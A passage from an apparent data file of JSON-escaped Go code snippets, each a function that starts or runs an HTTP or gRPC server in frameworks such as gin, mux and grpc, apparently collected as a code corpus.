},\\n\\t\\t\\t),\\n\\t\\t),\\n\\t\\tgrapiserver.WithGatewayServerMiddlewares(\\n\\t\\t\\tgithubEventDispatcher,\\n\\t\\t),\\n\\t\\tgrapiserver.WithServers(\\n\\t\\t\\tgithub.NewInstallationEventServiceServer(),\\n\\t\\t),\\n\\t)\\n\\treturn s.Serve()\\n}\",\n \"func Start() {\\n\\tr := gin.Default()\\n\\tr.GET(\\\"/ping\\\", func(c *gin.Context) {\\n\\t\\tc.JSON(200, gin.H{\\n\\t\\t\\t\\\"message\\\": \\\"pong\\\",\\n\\t\\t})\\n\\t})\\n\\tr.POST(\\\"/registry\\\", controllers.InsertRegistry)\\n\\tr.GET(\\\"/registry\\\", controllers.GetRegistryAll)\\n\\tr.GET(\\\"/registry/:id/\\\", controllers.GetRegistry)\\n\\tr.DELETE(\\\"/registry/:id/\\\", controllers.DeleteRegistry)\\n\\tr.PUT(\\\"/registry/:id/\\\", controllers.PutRegistry)\\n\\tr.Run(\\\":8080\\\") // listen and serve on 0.0.0.0:8080\\n}\",\n \"func RunServer(server *ophttp.Server) {\\n\\thttp.Handle(\\\"/greeting\\\", http.HandlerFunc(GreetingHandler))\\n\\tserver.Start()\\n}\",\n \"func Run() error {\\n\\ts := grapiserver.New(\\n\\t\\tgrapiserver.WithDefaultLogger(),\\n\\t\\tgrapiserver.WithServers(\\n\\t\\t// TODO\\n\\t\\t),\\n\\t)\\n\\treturn s.Serve()\\n}\",\n \"func main() {\\n\\tserver.New().Start()\\n}\",\n \"func (s *server) Start() (*gin.Engine, error) {\\n\\ts.logger.Info(\\\"server Start()\\\")\\n\\n\\ts.setMiddleware()\\n\\n\\tif err := s.loadTemplates(); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tif err := s.loadStaticFiles(); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\ts.setRouter(s.gin)\\n\\n\\t// set profiling for development use\\n\\tif s.developConf.ProfileEnable {\\n\\t\\tginpprof.Wrapper(s.gin)\\n\\t}\\n\\n\\t// s.run() is not required if working for unittest\\n\\tif s.isTestMode {\\n\\t\\treturn s.gin, nil\\n\\t}\\n\\n\\terr := s.run()\\n\\treturn nil, err\\n}\",\n \"func Start() {\\n\\trouter := gin.Default()\\n\\trouter.SetFuncMap(map[string]interface{}{\\n\\t\\t\\\"formatAsTimeAgo\\\": formatAsTimeAgo,\\n\\t})\\n\\trouter.LoadHTMLGlob(\\\"templates/*\\\")\\n\\t// Mount favicon\\n\\trouter.Use(favicon.New(\\\"./favicon.ico\\\"))\\n\\n\\t// Not found\\n\\trouter.NoRoute(func(c *gin.Context) {\\n\\t\\tc.HTML(404, \\\"404.html\\\", gin.H{})\\n\\t})\\n\\n\\t// Mount controllers\\n\\tMountIndexController(router)\\n\\n\\trouter.GET(\\\"/ping\\\", func(c *gin.Context) {\\n\\t\\tc.JSON(200, gin.H{\\n\\t\\t\\t\\\"message\\\": \\\"pong\\\",\\n\\t\\t})\\n\\t})\\n\\n\\trouter.Run()\\n}\",\n \"func (server *Server) Run(addr string) {\\n\\tlog.Println(\\\"Yinyo is ready and waiting.\\\")\\n\\tlog.Fatal(http.ListenAndServe(addr, server.router))\\n}\",\n \"func StartApplicatin() {\\n\\tmapUrls()\\n\\trouter.Run(\\\":8080\\\")\\n}\",\n \"func Run() error {\\n\\ts := grapiserver.New(\\n\\t\\tgrapiserver.WithDefaultLogger(),\\n\\t\\tgrapiserver.WithGrpcAddr(\\\"tcp\\\", \\\":3000\\\"),\\n\\t\\tgrapiserver.WithGatewayAddr(\\\"tcp\\\", \\\":4000\\\"),\\n\\t\\tgrapiserver.WithServers(\\n\\t\\t\\tserver.NewInvoiceServiceServer(),\\n\\t\\t),\\n\\t)\\n\\treturn s.Serve()\\n}\",\n \"func Run() error {\\n\\tvar err error\\n\\n\\ts := NewServer()\\n\\tport := \\\":1729\\\"\\n\\tfmt.Printf(\\\"Listening on %s...\\\\n\\\", port)\\n\\thttp.ListenAndServe(port, s)\\n\\n\\treturn err\\n}\",\n \"func (s *Server) Run() {\\n\\tgo func() {\\n\\t\\t// start serving\\n\\t\\tif err := s.httpServer.ListenAndServe(); err != nil {\\n\\t\\t\\tlog.Errora(err)\\n\\t\\t}\\n\\t}()\\n}\",\n \"func (s *Server) Run() error {\\n\\tbg := s.logger.Bg()\\n\\tlis, err := net.Listen(\\\"tcp\\\", s.hostPort)\\n\\n\\tif err != nil {\\n\\t\\tbg.Fatal(\\\"Unable to start server\\\", zap.Error(err))\\n\\t\\treturn err\\n\\t}\\n\\n\\tbg.Info(\\\"Starting\\\", zap.String(\\\"address\\\", \\\"tcp://\\\"+s.hostPort))\\n\\treturn s.Gs.Serve(lis)\\n}\",\n \"func Run(apps map[string]interface{}, port string) {\\n\\trouter := mux.NewRouter()\\n\\tinitialize(apps, router)\\n\\n\\tn := negroni.Classic()\\n\\tn.UseHandler(router)\\n\\tn.Run(\\\":\\\" + port)\\n}\",\n \"func main() {\\n\\ta := App{}\\n\\ta.Initialize()\\n\\ta.Run(\\\":8000\\\")\\n}\",\n \"func StartApp() {\\n\\turlMappings()\\n\\trouter.Run(\\\"localhost:8080\\\")\\n}\",\n \"func GinServer() {\\n\\t// Set Gin to production mode\\n\\tgin.SetMode(gin.ReleaseMode)\\n\\n\\t// Set the router as the default one provided by Gin\\n\\trouter = gin.Default()\\n\\n\\t// Process the templates at the start so that they don't have to be loaded\\n\\t// from the disk again. This makes serving HTML pages very fast.\\n\\trouter.LoadHTMLGlob(\\\"static/templates/*\\\")\\n\\n\\t// Initialize the routes\\n\\tinitializeRoutes()\\n\\n\\thttp.Handle(\\\"/\\\", router)\\n}\",\n \"func Run() {\\n\\n\\tgo func() {\\n\\t\\terrors := setupTemplates(\\\"server/templates\\\")\\n\\t\\tif errors != nil {\\n\\t\\t\\tfmt.Println(errors)\\n\\t\\t}\\n\\t}()\\n\\n\\tfmt.Println(\\\"Starting server...\\\")\\n\\thttp.HandleFunc(\\\"/\\\", index)\\n\\thttp.HandleFunc(\\\"/view\\\", view)\\n\\thttp.Handle(\\\"/static/\\\", http.StripPrefix(\\\"/static/\\\", http.FileServer(http.Dir(\\\"server/static/\\\"))))\\n\\thttp.ListenAndServe(\\\":8080\\\", nil)\\n}\",\n \"func main() {\\n\\tserver.StartUp(false)\\n}\",\n \"func main() {\\n\\tfmt.Println(\\\"################################\\\")\\n\\tfmt.Println(\\\"#### Hello from MyAppStatus ####\\\")\\n\\tfmt.Println(\\\"################################\\\")\\n\\n\\tapp.StartServer()\\n}\",\n \"func Run(cfg *config.Config) {\\n\\n\\tvar wg sync.WaitGroup\\n\\n\\twg.Add(2)\\n\\tr := newRouter(cfg.StaticPath)\\n\\tport := os.Getenv(\\\"PORT\\\")\\n\\tif port != \\\"\\\" {\\n\\t\\t// production\\n\\t\\tlog.WithField(\\\"port\\\", port).Info(\\\"Server started\\\")\\n\\t\\tlog.Fatal(http.ListenAndServe(\\\":\\\"+port, r))\\n\\t} else {\\n\\t\\t// dev\\n\\t\\tserve(wg, cfg, r)\\n\\t}\\n\\n\\twg.Wait()\\n}\",\n \"func Run() {\\n\\tApp.Init()\\n\\n\\tif Config.String(\\\"address\\\") != \\\"\\\" {\\n\\t\\tLog.Info(fmt.Sprintf(\\\"listening on %s\\\", Config.String(\\\"address\\\")))\\n\\t\\tLog.Error(http.ListenAndServe(Config.String(\\\"address\\\"), App.Router))\\n\\t} else {\\n\\t\\tLog.Info(fmt.Sprintf(\\\"listening on port :%d\\\", Config.Int(\\\"port\\\")))\\n\\t\\tLog.Error(http.ListenAndServe(fmt.Sprintf(\\\":%d\\\", Config.Int(\\\"port\\\")), App.Router))\\n\\t}\\n}\",\n \"func (f *Floki) Run() {\\n\\tlogger := f.logger\\n\\n\\tif Env == Prod {\\n\\t\\truntime.GOMAXPROCS(runtime.NumCPU())\\n\\t}\\n\\n\\ttplDir := f.GetParameter(\\\"views dir\\\").(string)\\n\\tf.SetParameter(\\\"templates\\\", compileTemplates(tplDir, logger))\\n\\n\\tport := os.Getenv(\\\"PORT\\\")\\n\\tif port == \\\"\\\" {\\n\\t\\tport = \\\"3000\\\"\\n\\t}\\n\\n\\thost := os.Getenv(\\\"HOST\\\")\\n\\t_ = host\\n\\n\\taddr := host + \\\":\\\" + port\\n\\tlogger.Printf(\\\"listening on %s (%s)\\\\n\\\", addr, Env)\\n\\n\\tif err := http.ListenAndServe(addr, f); err != nil {\\n\\t\\tpanic(err)\\n\\t}\\n}\",\n \"func (s *Server) Run(options ...func(*gin.RouterGroup)) {\\n\\tlog.Printf(\\\"[INFO] activate rest server\\\")\\n\\n\\trouter := gin.New()\\n\\n\\trouter.Use(gin.Recovery())\\n\\n\\trouter.Use(s.loggerMiddleware())\\n\\n\\trouter.GET(\\\"/ping\\\", s.pingCtrl)\\n\\n\\tv1 := router.Group(\\\"/v1\\\")\\n\\n\\t// Cors headers\\n\\tconfigCors := cors.DefaultConfig()\\n\\tconfigCors.AllowAllOrigins = true\\n\\tconfigCors.AllowHeaders = []string{\\\"Origin\\\", \\\"Content-Length\\\", \\\"Content-Type\\\", \\\"Authorization\\\"}\\n\\n\\tv1.Use(cors.New(configCors))\\n\\n\\t// Set Authorization if we have ENV settings\\n\\tif len(s.BasicAuthUser) > 0 {\\n\\t\\tv1.Use(gin.BasicAuth(gin.Accounts{\\n\\t\\t\\ts.BasicAuthUser: s.BasicAuthPWD,\\n\\t\\t}))\\n\\t}\\n\\n\\tfor _, op := range options {\\n\\t\\tif op != nil {\\n\\t\\t\\top(v1)\\n\\t\\t}\\n\\t}\\n\\n\\tlog.Fatal(router.Run(\\\":\\\" + s.ServerPort))\\n}\",\n \"func Run() error {\\n\\tgo StartServer()\\n\\n\\tlis, err := net.Listen(\\\"tcp\\\", \\\":50051\\\")\\n\\tif err != nil {\\n\\t\\tlog.Fatalf(\\\"failed to listen: %v\\\", err)\\n\\t}\\n\\n\\ts := grpc.NewServer()\\n\\n\\tklessapi.RegisterKlessAPIServer(s, &apiserver.APIServer{})\\n\\tif err := s.Serve(lis); err != nil {\\n\\t\\tlog.Fatalf(\\\"failed to serve: %v\\\", err)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (s *SamFSServer) Run() error {\\n\\tlis, err := net.Listen(\\\"tcp\\\", s.port)\\n\\tif err != nil {\\n\\t\\tglog.Fatalf(\\\"falied to listen on port :: %s(err=%s)\\\", s.port, err.Error())\\n\\t\\treturn err\\n\\t}\\n\\n\\trand.Seed(time.Now().UnixNano())\\n\\ts.sessionID = rand.Int63()\\n\\tglog.Infof(\\\"starting new server with sessionID %d\\\", s.sessionID)\\n\\n\\tgs := grpc.NewServer()\\n\\tpb.RegisterNFSServer(gs, s)\\n\\ts.grpcServer = gs\\n\\treturn gs.Serve(lis)\\n}\",\n \"func main() {\\n\\tserver := server.NewHTTPServer()\\n\\tserver.Start(3000)\\n}\",\n \"func (a *App) Run() {\\n\\tlog.Fatal(http.ListenAndServe(\\\":8000\\\", a.router))\\n}\",\n \"func (s *Server) Run(addr string) {\\n\\tfmt.Println(\\\"Listening to port 8080\\\")\\n\\tlog.Fatal(http.ListenAndServe(addr, s.Router))\\n}\",\n \"func (h *Handler) Run() {\\n\\tlog.Printf(\\\"Listening on %s\\\", h.Cfg.Server.Address)\\n\\tserver := &http.Server{\\n\\t\\tHandler: getRouter(),\\n\\t\\tAddr: h.Cfg.Server.Address,\\n\\t}\\n\\th.listenErrCh <- server.ListenAndServe()\\n}\",\n \"func Example() {\\n\\thttpgo.NewServer(\\\"foo\\\", \\\"1.1.0\\\", true).Start(\\\"127.0.0.1\\\", 8000, \\\"turing\\\")\\n}\",\n \"func Run() error {\\n\\tr := mux.NewRouter()\\n\\n\\tr.HandleFunc(\\\"/\\\", home.Handler)\\n\\tr.HandleFunc(\\\"/login\\\", login.Handler)\\n\\tr.HandleFunc(\\\"/logout\\\", logout.Handler)\\n\\tr.HandleFunc(\\\"/callback\\\", callback.Handler)\\n\\tr.Handle(\\\"/user\\\", negroni.New(\\n\\t\\tnegroni.HandlerFunc(middlewares.IsAuthenticated),\\n\\t\\tnegroni.Wrap(http.HandlerFunc(user.Handler)),\\n\\t))\\n\\tr.PathPrefix(\\\"/public/\\\").Handler(http.StripPrefix(\\\"/public/\\\", http.FileServer(http.Dir(\\\"public/\\\"))))\\n\\thttp.Handle(\\\"/\\\", r)\\n\\tlog.Print(\\\"Server listening on http://localhost:3000/\\\")\\n\\treturn http.ListenAndServe(\\\"0.0.0.0:3000\\\", nil)\\n}\",\n \"func main() {\\n\\tservice.StartWebServer(\\\"8081\\\")\\n}\",\n \"func main() {\\n\\tr := gin.New()\\n\\tr.Use(cors.Default())\\n\\n\\t//r.GET(\\\"/email\\\", ctrl.GenEmail)\\n\\tr.GET(\\\"/gentax\\\", ctrl.GenTaxData)\\n\\n\\tr.Run(\\\":8099\\\")\\n}\",\n \"func (s *Server) Run() error {\\n\\t// start fetcher, reporter and doc generator in goroutines\\n\\tgo s.fetcher.Run()\\n\\tgo s.reporter.Run()\\n\\tgo s.docGenerator.Run()\\n\\n\\t// start webserver\\n\\tlistenAddress := s.listenAddress\\n\\tif listenAddress == \\\"\\\" {\\n\\t\\tlistenAddress = DefaultAddress\\n\\t}\\n\\n\\tr := mux.NewRouter()\\n\\n\\t// register ping api\\n\\tr.HandleFunc(\\\"/_ping\\\", pingHandler).Methods(\\\"GET\\\")\\n\\n\\t// github webhook API\\n\\tr.HandleFunc(\\\"/events\\\", s.gitHubEventHandler).Methods(\\\"POST\\\")\\n\\n\\t// travisCI webhook API\\n\\tr.HandleFunc(\\\"/ci_notifications\\\", s.ciNotificationHandler).Methods(\\\"POST\\\")\\n\\n\\tlogrus.Infof(\\\"start http server on address %s\\\", listenAddress)\\n\\treturn http.ListenAndServe(listenAddress, r)\\n}\",\n \"func (s *Server) Run() {\\n\\tlog.Printf(\\\"[INFO] activate rest server on port %v\\\", s.Port)\\n\\tlog.Fatal(http.ListenAndServe(fmt.Sprintf(\\\"%v:%v\\\", s.address, s.Port), s.routes()))\\n}\",\n \"func (s *Server) Run(ctx context.Context, wg *sync.WaitGroup) {\\n\\tif err := s.Config.Validate(); err != nil {\\n\\t\\tlog.Panicf(\\\"invalid server config: %s\\\\n\\\", err)\\n\\t}\\n\\n\\thandler := &http.Server{\\n\\t\\tHandler: s.Router,\\n\\t\\tAddr: \\\":\\\" + strconv.Itoa(s.Config.Port),\\n\\t}\\n\\n\\tstartServer(ctx, handler, wg)\\n}\",\n \"func main() {\\n\\n\\t// This will pack config-files folder inside binary\\n\\t// you need rice utility for it\\n\\tbox := rice.MustFindBox(\\\"config-files\\\")\\n\\n\\tinitErr := initializer.InitAll(box)\\n\\tif initErr != nil {\\n\\t\\tlog.Fatalln(initErr)\\n\\t}\\n\\tr := gin.Default()\\n\\tpprof.Register(r)\\n\\tr.GET(\\\"/doc/*any\\\", ginSwagger.WrapHandler(swaggerFiles.Handler))\\n\\tdocs.SwaggerInfo.Host = \\\"\\\"\\n\\tr.GET(\\\"/\\\", func(c *gin.Context) {\\n\\t\\tc.JSON(http.StatusOK, gin.H{\\n\\t\\t\\t\\\"message\\\": \\\"Server is up and running!\\\",\\n\\t\\t})\\n\\t})\\n\\tr.NoRoute(func(c *gin.Context) {\\n\\t\\tc.JSON(404, gin.H{\\\"code\\\": \\\"RouteNotFound\\\"})\\n\\t})\\n\\tapi.InitAPI(r)\\n\\tgo func() {\\n\\t\\terr := r.Run(\\\":9050\\\")\\n\\t\\tif err != nil {\\n\\t\\t\\tlog.Fatal(err)\\n\\t\\t}\\n\\t}()\\n\\tstorage.GetStorageInstance().Close()\\n}\",\n \"func main() {\\n\\tgodotenv.Load()\\n\\n\\tport := os.Getenv(\\\"REST_PORT\\\")\\n\\tif port == \\\"\\\" {\\n\\t\\tport = \\\"8080\\\"\\n\\t}\\n\\n\\tserver, err := start(port)\\n\\tif err != nil {\\n\\t\\tlog.Println(\\\"err:\\\", err)\\n\\t\\treturn\\n\\t}\\n\\n\\terr = stopServer(server)\\n\\tif err != nil {\\n\\t\\tlog.Println(\\\"err:\\\", err)\\n\\t\\treturn\\n\\t}\\n\\n\\treturn\\n}\",\n \"func run() error {\\n\\tlistenOn := \\\"127.0.0.1:8080\\\"\\n\\tlistener, err := net.Listen(\\\"tcp\\\", listenOn)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"failed to listen on %s: %w\\\", listenOn, err)\\n\\t}\\n\\n\\tserver := grpc.NewServer()\\n\\tuserv1.RegisterUserServiceServer(server, &userServiceServer{})\\n\\tlog.Println(\\\"Listening on\\\", listenOn)\\n\\n\\tif err := server.Serve(listener); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"failed to serve gRPC server: %w\\\", err)\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func runAPIServer() {\\n\\trouter := gin.Default()\\n\\trouter.POST(\\\"/alert\\\", alert)\\n\\trouter.Run(\\\":\\\" + strconv.Itoa(config.APIPort))\\n}\",\n \"func startServer(dataSlice []string) {\\n\\te := echo.New()\\n\\n\\te.GET(\\\"/\\\", func(f echo.Context) error {\\n\\t\\treturn f.JSON(http.StatusOK, dataSlice)\\n\\t})\\n\\n\\tfmt.Println(\\\"Server running: http://localhost:8000\\\")\\n\\te.Logger.Fatal(e.Start(\\\":8000\\\"))\\n}\",\n \"func Run(params *ContextParams) {\\n\\tr := createRouter(params)\\n\\n\\tendless.DefaultHammerTime = 10 * time.Second\\n\\tendless.DefaultReadTimeOut = 295 * time.Second\\n\\tif err := endless.ListenAndServe(\\\":8080\\\", r); err != nil {\\n\\t\\tlog.Infof(\\\"Server stopped: %s\\\", err)\\n\\t}\\n}\",\n \"func main() {\\n\\t// load config and construct the server shared environment\\n\\tcfg := common.LoadConfig()\\n\\tlog := services.NewLogger(cfg)\\n\\n\\t// create repository\\n\\trepo, err := repository.NewRepository(cfg, log)\\n\\tif err != nil {\\n\\t\\tlog.Fatalf(\\\"Can not create application data repository. Terminating!\\\")\\n\\t}\\n\\n\\t// setup GraphQL API handler\\n\\thttp.Handle(\\\"/api\\\", handlers.ApiHandler(cfg, repo, log))\\n\\n\\t// show the server opening info and start the server with DefaultServeMux\\n\\tlog.Infof(\\\"Welcome to Fantom Rocks API server on [%s]\\\", cfg.BindAddr)\\n\\tlog.Fatal(http.ListenAndServe(cfg.BindAddr, nil))\\n}\",\n \"func StartServer(port string) {\\n\\tr := gin.New()\\n\\tr.GET(\\\"/:p1\\\", middleWare)\\n\\tr.GET(\\\"/:p1/:p2\\\", middleWare)\\n\\tr.GET(\\\"/:p1/:p2/:p3\\\", middleWare)\\n\\tr.GET(\\\"/:p1/:p2/:p3/:p4\\\", middleWare)\\n\\tr.GET(\\\"/:p1/:p2/:p3/:p4/:p5\\\", middleWare)\\n\\tr.GET(\\\"/:p1/:p2/:p3/:p4/:p5/:p6\\\", middleWare)\\n\\tr.GET(\\\"/:p1/:p2/:p3/:p4/:p5/:p6/:p7\\\", middleWare)\\n\\tr.GET(\\\"/:p1/:p2/:p3/:p4/:p5/:p6/:p7/:p8\\\", middleWare)\\n\\tr.Run(\\\":\\\" + port)\\n}\",\n \"func RunServer(configFile string) {\\n\\tc := make(chan os.Signal, 1)\\n\\tsignal.Notify(c, syscall.SIGTERM)\\n\\tserver, err := NewServer(configFile)\\n\\tif err != nil {\\n\\t\\tlog.Fatal(err)\\n\\t}\\n\\tlog.Info(\\\"Gohan no jikan desuyo (It's time for dinner!)\\\")\\n\\tlog.Info(\\\"Build version: %s\\\", version.Build.Version)\\n\\tlog.Info(\\\"Build timestamp: %s\\\", version.Build.Timestamp)\\n\\tlog.Info(\\\"Build host: %s\\\", version.Build.Host)\\n\\tlog.Info(\\\"Starting Gohan Server...\\\")\\n\\taddress := server.address\\n\\tif strings.HasPrefix(address, \\\":\\\") {\\n\\t\\taddress = \\\"localhost\\\" + address\\n\\t}\\n\\tprotocol := \\\"http\\\"\\n\\tif server.tls != nil {\\n\\t\\tprotocol = \\\"https\\\"\\n\\t}\\n\\tlog.Info(\\\" API Server %s://%s/\\\", protocol, address)\\n\\tlog.Info(\\\" Web UI %s://%s/webui/\\\", protocol, address)\\n\\tgo func() {\\n\\t\\tfor range c {\\n\\t\\t\\tlog.Info(\\\"Stopping the server...\\\")\\n\\t\\t\\tlog.Info(\\\"Tearing down...\\\")\\n\\t\\t\\tlog.Info(\\\"Stopping server...\\\")\\n\\t\\t\\tserver.Stop()\\n\\t\\t}\\n\\t}()\\n\\tserver.running = true\\n\\tserver.masterCtx, server.masterCtxCancel = context.WithCancel(context.Background())\\n\\n\\tserver.startSyncProcesses()\\n\\n\\tstartCRONProcess(server)\\n\\tmetrics.StartMetricsProcess()\\n\\terr = server.Start()\\n\\tif err != nil {\\n\\t\\tlog.Fatal(err)\\n\\t}\\n}\",\n \"func (e *Engine) Run() error {\\n\\treturn e.gin.Run(\\\":\\\" + e.port)\\n}\",\n \"func main() {\\n\\n\\t// Loads env variables\\n\\t//err := godotenv.Load()\\n\\t//if err != nil {\\n\\t//\\tlog.Fatal(\\\"Error loading .env file\\\")\\n\\t//\\treturn\\n\\t//}\\n\\n\\t//http.HandleFunc(\\\"/\\\", handler)\\n\\t//log.Fatal(http.ListenAndServe(fmt.Sprintf(\\\":%s\\\", \\\"8080\\\"), nil))\\n\\tgodotenv.Load()\\n\\n\\trouter := entry.Initialize()\\n\\trouter.Run(\\\":3000\\\")\\n}\",\n \"func main() {\\n if len(os.Args) != 2 {\\n log.Panic(\\\"args:\\\", \\\"\\\")\\n }\\n port := os.Args[1]\\n startServer(port)\\n}\",\n \"func Run() {\\n\\tgetRoutes()\\n\\trouter.Run(\\\":5000\\\")\\n}\",\n \"func (s *Server) Start() (*gin.Engine, error) {\\n\\tif s.conf.Environment == \\\"production\\\" {\\n\\t\\t//For release\\n\\t\\tgin.SetMode(gin.ReleaseMode)\\n\\t}\\n\\n\\t// Global middleware\\n\\ts.setMiddleWare()\\n\\n\\t// Templates\\n\\ts.loadTemplates()\\n\\n\\t// Static\\n\\ts.loadStaticFiles()\\n\\n\\t// Set router (from urls.go)\\n\\ts.SetURLOnHTTP(s.gin)\\n\\n\\t// Set Profiling\\n\\tif s.conf.Develop.ProfileEnable {\\n\\t\\tginpprof.Wrapper(s.gin)\\n\\t}\\n\\n\\tif s.isTestMode {\\n\\t\\treturn s.gin, nil\\n\\t}\\n\\n\\t// Run\\n\\terr := s.run()\\n\\treturn nil, err\\n}\",\n \"func main() {\\n\\tif len(os.Args) != 2 {\\n\\t\\tlog.Fatal(\\\"Usage: ./server-go [server port]\\\")\\n\\t}\\n\\tserver_port := os.Args[1]\\n\\tserver(server_port)\\n}\",\n \"func (s *server) Run(addr string) error {\\n\\treturn http.ListenAndServe(addr, s.handler)\\n}\",\n \"func run(cfg config.Config, flags config.Flags) {\\n\\tdb.InitDb(cfg)\\n\\tburger.InitRepository(burger.NewMongoRepository(db.DB))\\n\\n\\tif flags.Migrate {\\n\\t\\tmigration.CreateCollections()\\n\\t}\\n\\n\\tapi := http.Server{\\n\\t\\tAddr: cfg.Web.Host + \\\":\\\" + cfg.Web.Port,\\n\\t\\tHandler: routes.CreateHandlers(),\\n\\t\\tReadTimeout: cfg.Web.Timeout.Read * time.Second,\\n\\t\\tWriteTimeout: cfg.Web.Timeout.Write * time.Second,\\n\\t}\\n\\n\\tif err := api.ListenAndServe(); err != nil {\\n\\t\\tconfig.Logger.Println(\\\"ERROR\\\", err)\\n\\t}\\n}\",\n \"func (s *Server) Run(log *logrus.Entry) error {\\n\\ts.log = log.WithField(\\\"app\\\", AppName)\\n\\n\\t// Init the app\\n\\ts.InitStart(log)\\n\\n\\ts.gracefulServer = s.httpServer(s.log)\\n\\terr := s.gracefulServer.ListenAndServe()\\n\\tif err != nil && err != http.ErrServerClosed {\\n\\t\\treturn err\\n\\t}\\n\\treturn nil\\n}\",\n \"func Run(addr string) {\\n\\tmainServer.Run(addr)\\n}\",\n \"func Run(ctx context.Context) error {\\n\\trouter := Router(ctx)\\n\\n\\tviews.Routes(router)\\n\\n\\trouter.Run(fmt.Sprintf(\\\":%d\\\", config.FromContext(ctx).Server.Port))\\n\\n\\treturn nil\\n}\",\n \"func Run(h http.Handler) {\\n\\tsrv := createServer(h)\\n\\tgo gracefullyShutDownOnSignal(srv, context.Background())\\n\\tif err := srv.ListenAndServe(); err != http.ErrServerClosed {\\n\\t\\tlog.Fatalf(\\\"Unable to to start server: %v\\\", err)\\n\\t}\\n}\",\n \"func run(configFile string) error {\\n\\tcfg, err := LoadConfig(configFile)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t// Start remote signer (must start before node if running builtin).\\n\\tif cfg.PrivValServer != \\\"\\\" {\\n\\t\\tif err = startSigner(cfg); err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t\\tif cfg.Protocol == \\\"builtin\\\" {\\n\\t\\t\\ttime.Sleep(1 * time.Second)\\n\\t\\t}\\n\\t}\\n\\n\\t// Start app server.\\n\\tswitch cfg.Protocol {\\n\\tcase \\\"socket\\\", \\\"grpc\\\":\\n\\t\\terr = startApp(cfg)\\n\\tcase \\\"builtin\\\":\\n\\t\\tif len(cfg.Misbehaviors) == 0 {\\n\\t\\t\\tif cfg.Mode == string(e2e.ModeLight) {\\n\\t\\t\\t\\terr = startLightClient(cfg)\\n\\t\\t\\t} else {\\n\\t\\t\\t\\terr = startNode(cfg)\\n\\t\\t\\t}\\n\\t\\t} else {\\n\\t\\t\\terr = startMaverick(cfg)\\n\\t\\t}\\n\\tdefault:\\n\\t\\terr = fmt.Errorf(\\\"invalid protocol %q\\\", cfg.Protocol)\\n\\t}\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t// Apparently there's no way to wait for the server, so we just sleep\\n\\tfor {\\n\\t\\ttime.Sleep(1 * time.Hour)\\n\\t}\\n}\",\n \"func main() {\\n\\thttp.ListenAndServe(\\\"127.0.0.1:8080\\\", NewServer())\\n}\",\n \"func (s *Server) Run() {\\n\\trouter := routes.ConfigRoutes(s.server)\\n\\n\\tlog.Print(\\\"server is running at port: \\\", s.port)\\n\\tlog.Fatal(router.Run(\\\":\\\" + s.port))\\n}\",\n \"func (t *Loki) Run() error {\\n\\treturn t.server.Run()\\n}\",\n \"func (a *App) Run() {\\n\\tfmt.Println(\\\"Run\\\")\\n\\tdefer a.session.Close()\\n\\ta.server.Start()\\n}\",\n \"func (s *WebServer) Run(addr string) error {\\n\\tinitHandlers(s)\\n\\texpvar.Publish(\\\"Goroutines\\\", expvar.Func(func() interface{} {\\n\\t\\treturn runtime.NumGoroutine()\\n\\t}))\\n\\n\\thttp.Handle(\\\"/prom\\\", s.hub.Metrics.getHandler())\\n\\n\\tsock, err := net.Listen(\\\"tcp\\\", addr)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tgo func() {\\n\\t\\tfmt.Println(\\\"HTTP now available at\\\", addr)\\n\\t\\tlog.Fatal(http.Serve(sock, nil))\\n\\t}()\\n\\treturn nil\\n}\",\n \"func startApp(cfg *Config) error {\\n\\tapp, err := app.NewApplication(cfg.App())\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tserver, err := server.NewServer(cfg.Listen, cfg.Protocol, app)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\terr = server.Start()\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tlogger.Info(\\\"start app\\\", \\\"msg\\\", log.NewLazySprintf(\\\"Server listening on %v (%v protocol)\\\", cfg.Listen, cfg.Protocol))\\n\\treturn nil\\n}\",\n \"func (s *Server) Run(address string) error {\\n\\tlog.Printf(\\\"connect to http://localhost%s/ for GraphQL playground\\\", address)\\n\\ts.router.Handle(\\\"/\\\", playground.Handler(\\\"GraphQL playground\\\", \\\"/graphql\\\"))\\n\\ts.router.Handle(\\\"/graphql\\\", s.server)\\n\\treturn http.ListenAndServe(address, s.router)\\n}\",\n \"func main() {\\n\\tflag.BoolVar(&debug, \\\"debug\\\", false, \\\"Enable debug output\\\")\\n\\tflag.StringVar(&host, \\\"host\\\", \\\"127.0.0.1\\\", \\\"Host to listen on\\\")\\n\\tflag.StringVar(&port, \\\"port\\\", \\\"5000\\\", \\\"Port to listen on\\\")\\n\\tflag.Parse()\\n\\n\\t// create the host:port string for use\\n\\tlistenAddress := fmt.Sprintf(\\\"%s:%s\\\", host, port)\\n\\tif debug {\\n\\t\\tlog.Printf(\\\"Listening on %s\\\", listenAddress)\\n\\t}\\n\\n\\t// Map /config to our configHandler and wrap it in the log middleware\\n\\thttp.Handle(\\\"/config/\\\", logMiddleware(http.HandlerFunc(configHandler)))\\n\\n\\t// Run forever on all interfaces on port 5000\\n\\tlog.Fatal(http.ListenAndServe(listenAddress, nil))\\n}\",\n \"func main() {\\n\\tportNo := os.Args[1]\\n\\tstartServerMode(portNo)\\n}\",\n \"func startServer() {\\n\\tapi, err := gobroem.NewAPI(options.db)\\n\\tif err != nil {\\n\\t\\tlog.Fatal(\\\"can not open db\\\", err)\\n\\t}\\n\\n\\thttp.ListenAndServe(\\n\\t\\tfmt.Sprintf(\\\"%s:%d\\\", options.host, options.port),\\n\\t\\tapi.Handler(\\\"/\\\", \\\"/static/\\\"),\\n\\t)\\n}\",\n \"func main() {\\n\\te := godotenv.Load()\\n\\tif e != nil {\\n\\t\\tfmt.Print(e)\\n\\t}\\n\\n\\tr := routers.SetupRouter()\\n\\trouters.MirrorRouter(r)\\n\\trouters.ProxyRouter(r)\\n\\n\\tport := os.Getenv(\\\"port\\\")\\n\\n\\t// For run on requested port\\n\\tif len(os.Args) > 1 